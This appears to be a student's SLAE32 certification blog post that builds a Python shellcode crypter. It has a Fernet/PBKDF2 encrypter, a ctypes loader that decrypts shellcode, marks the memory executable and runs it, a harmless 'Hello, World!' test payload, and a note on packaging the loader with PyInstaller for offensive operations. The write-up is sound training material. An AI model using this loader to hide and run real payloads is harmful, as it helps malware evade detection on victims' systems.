The seventh assignment for the SLAE32 certification asks to create a custom crypter like the one shown in the “Crypters” video. You are free to use any existing encryption schema and any programming language.

I have decided to use Python3 and - after some research - to give Fernet a try.

According to the documentation ("Limitations" section):

Fernet is ideal for encrypting data that easily fits in memory. As a design feature it does not expose unauthenticated bytes. This means that the complete message contents must be available in memory, making Fernet generally unsuitable for very large files at this time.

As we will use Fernet to encrypt shellcodes, this limitation is not a show-stopper at all.

Encrypter

The encrypter tool:

  • takes the shellcode to be encrypted from the shellcode variable
  • creates a salt taking 16 random characters from digits and ascii_uppercase
  • asks the user for the encryption password
  • performs the encryption process
  • prints on screen the different components:
    • chosen password in plaintext
    • random salt computed
    • encrypted payload, which is a string obtained by concatenating:
      • the random salt
      • the shellcode encrypted with Fernet

The encrypted payload must be copied into the Decrypt-Exec utility.

import string
import random

import base64
from cryptography.fernet import Fernet
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC


# Update here the shellcode to be encrypted
shellcode = b"<INSERT-HERE-SHELLCODE>"

salt = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(16))

plain_pwd = input("Enter the password: ")

kdf = PBKDF2HMAC(
	algorithm = hashes.SHA256(),
	length = 32,
	salt = salt.encode(),
	iterations = 1000,
)
key = base64.urlsafe_b64encode(kdf.derive(plain_pwd.encode()))

cipher_suite = Fernet(key)
cipher_text = cipher_suite.encrypt(shellcode)

encrypted_payload = salt.encode() + cipher_text

print ("--------------------------------------------------------")
print ("Chosen password: ", plain_pwd)
print ("")
print ("--------------------------------------------------------")
print ("Random salt: ", salt)
print ("")
print ("--------------------------------------------------------")
print ("Encrypted payload: ")
print ("")
print (encrypted_payload)
print ("")
print ("--------------------------------------------------------")

Decrypter

The decryption-exec tool:

  • takes the encrypted string generated with previous tool from the encrypted_payload variable and then splits it into the two different components:
    • the salt (first 16 characters)
    • the cipher_text (other characters)
  • asks the user for the password (which has to be the same used for the encryption, of course)
  • builds the key derivation function using the salt, with same algorithm used in the encryption
  • performs the decryption, thus having the original shellcode into shellcode_data variable
  • puts the shellcode in memory and cast it to invoke_shellcode function
  • sets the memory pages to executable
  • executes the shellcode
import string
import base64

from cryptography.fernet import Fernet
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from ctypes import *


# Update here the shellcode to be decrypted
encrypted_payload = b"<INSERT-HERE-ENCRYPTED-SHELLCODE>"


salt = encrypted_payload[:16]
cipher_text = encrypted_payload[16:]

plain_pwd = input("Enter the password: ")

kdf = PBKDF2HMAC(
	algorithm = hashes.SHA256(),
	length = 32,
	salt = salt,
	iterations = 1000,
)
key = base64.urlsafe_b64encode(kdf.derive(plain_pwd.encode()))

cipher_suite = Fernet(key)
shellcode_data = cipher_suite.decrypt(cipher_text)


shellcode=create_string_buffer(shellcode_data)
invoke_shellcode = cast(shellcode, CFUNCTYPE(None))

libc = CDLL('libc.so.6')
pagesize = libc.getpagesize()
address = cast(invoke_shellcode, c_void_p).value
address_page = (address // pagesize) * pagesize

for page_start in range(address_page, address+len(shellcode_data), pagesize):
	assert libc.mprotect(page_start, pagesize, 0x7) == 0
invoke_shellcode()

Proof of Concept

All Proof of Concept files are stored in the “PoC” subdirectory under “Assignment-7”.

I have created hello.nasm to test the encrypt-decrypt-execute process. Its purpose is to print on screen the string “Hello, World!” (pointer to memory address is gathered via JMP-CALL-POP technique) and then perform a exit(12).

global _start

section .text

_start:
	jmp short set_to_stack

execute:
	pop ecx
	
	xor eax, eax
	mov ebx, eax
	mov edx, eax

	mov al, 0x4
	mov bl, 0x1
	mov dl, 0xd

	int 0x80

	mov al, 0x1
	mov bl, 0xc
	int 0x80

set_to_stack:
	call execute
	db "Hello, World!"

The shellcode has been compiled using compile.sh, the following screenshot shows a sample run of the compiled file: Running the raw payload

Shellcode has been extracted with getShellcode.sh and the inserted in the shellcode variable in Encrypt-Hello.py.
Running it, the details of encrypted payload are printed on the screen: Running the encrypter

The encrypted payload is then put into encrypted_payload variable in Decrypt-Exec-Hello.py and it is then executed. User is asked for the password and, if correct, the decrypted shellcode is executed: Running the Decrypt-Exec tool

As an additional step, I wondered if the Decrypt-Exec Python tool can be converted into an ELF file and eventually moved to the target machine during offensive operations. Google came in help, pointing me to the PyInstaller bundler utility.
Using the –onefile argument, I have been able to create a single ELF file from my Python tool:

/home/kali/.local/bin/pyinstaller --onefile ./Decrypt-Exec-Hello.py

Here is the result of the execution: Encoding example

Possible evolutions

Future evolution of the utility is to remove the salt from the beginning of the encrypted string, not to leave any kind of hint on the decryption keys in the decryption tool and thus making any bruteforce attempt way more time-consuming. The salt will be then asked to the user launching the decryption tool, along with the password.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/.

Student ID: SLAE - 1547
GitHub repository: https://github.com/andrea-perfetti/SLAE32-Exam

This assignment has been written on a Kali Linux 2021.1 x86 virtual machine:

┌──(kali㉿kali)-[~]
└─$ uname -a 
Linux kali 5.10.0-kali3-686-pae #1 SMP Debian 5.10.13-1kali1 (2021-02-08) i686 GNU/Linux